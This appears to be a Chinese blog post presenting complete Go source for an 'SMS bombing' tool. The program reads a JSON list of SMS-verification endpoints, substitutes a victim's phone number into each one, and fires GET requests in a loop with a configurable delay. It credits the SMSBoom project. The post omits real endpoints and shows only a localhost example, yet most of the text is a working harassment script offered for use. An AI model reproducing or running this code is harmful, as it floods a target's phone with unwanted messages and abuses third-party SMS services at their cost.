【代码】Go语言实现短信轰炸

前言

Go语言通过循环向注册接口发送请求实现短信轰炸
本程序仅提供循环发送GET请求的逻辑,不含注册接口

注册接口配置文件

  • 创建一个list.json文件存储所有注册接口的URL,通过[phone]作为占位符
1
2
3
[
"http://127.0.0.1:80/sendSms?phone=[phone]"
]

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package main

import (
"encoding/json"
"fmt"
"io/ioutil"
"log"
"net/http"
"strings"
"time"
)

func main() {

// 手机号码
var phone string
fmt.Print("请输入手机号:")
if count, err := fmt.Scan(&phone); err != nil {
log.Panicln("输入手机号码 有误:", "err", err)
} else {
log.Println("输入手机号码 完成:", "count", count)
log.Println("输入手机号码 完成:", "phone", phone)
}
if phone == "" {
log.Panicln("输入手机号码 为空:", "phone", phone)
}

// 延迟时间
var sleepTime = 0
fmt.Print("请输入延迟时间(单位:秒)(缺省值:0):")
if count, err := fmt.Scan(&sleepTime); err != nil {
log.Panicln("输入延迟时间 有误:", "err", err)
} else {
log.Println("输入延迟时间 完成:", "count", count)
log.Println("输入延迟时间 完成:", "sleepTime", sleepTime)
}

// 接口列表文件所在路径
var fileSrc string
fmt.Print("请输入接口列表文件所在路径(缺省值:./list.json):")
if count, err := fmt.Scan(&fileSrc); err != nil {
log.Panicln("输入接口列表文件所在路径 有误:", "err", err)
} else {
log.Println("输入接口列表文件所在路径 完成:", "count", count)
log.Println("输入接口列表文件所在路径 完成:", "fileSrc", fileSrc)
}

// 读取JSON文件
var linkBytes []byte
if res, err := ioutil.ReadFile("./list.json"); err != nil {
log.Panicln("读取JSON文件 失败:", "err", err)
} else {
log.Println("读取JSON文件 完成:", "string(res)", string(res))
linkBytes = res
}
// JSON格式字符串 转换为 字符串列表
var linkList []string
if err := json.Unmarshal(linkBytes, &linkList); err != nil {
log.Panicln("JSON格式字符串 转换为 字符串列表 失败:", "err", err)
} else {
log.Println("JSON格式字符串 转换为 字符串列表 完成:", "linkList", linkList)
}

// 发送次数
var sendCount int
fmt.Printf("请输入发送次数(最大值为%d):", len(linkList))
if count, err := fmt.Scan(&sendCount); err != nil {
log.Panicln("输入发送次数 有误:", "err", err)
} else {
log.Println("输入发送次数 完成:", "count", count)
log.Println("输入发送次数 完成:", "sendCount", sendCount)
}
if sendCount > len(linkList) {
log.Panicln("输入发送次数 大于URL列表总数")
}

var responseEntity *http.Response
// 遍历链接列表
for i := 0; i < sendCount; i++ {
var link = linkList[i]
// 替换手机号占位符
link = strings.Replace(link, "[phone]", phone, 1)
// 发送请求
if res, err := http.Get(link); err != nil {
log.Println("请求发送 失败:", "link", link)
} else {
responseEntity = res
log.Println("请求发送 完成:", "link", link)
}
// 将响应体转换为字符串
responseText, _ := ioutil.ReadAll(responseEntity.Body)
log.Println("接收响应 完成:", "responseText", string(responseText))

// 如果不是最后一次发送请求
if i != sendCount-1 {
// 添加延迟
time.Sleep(time.Duration(sleepTime) * time.Second)
}
}
defer responseEntity.Body.Close()

}

完成

参考文献

OpenEthan/SMSBoom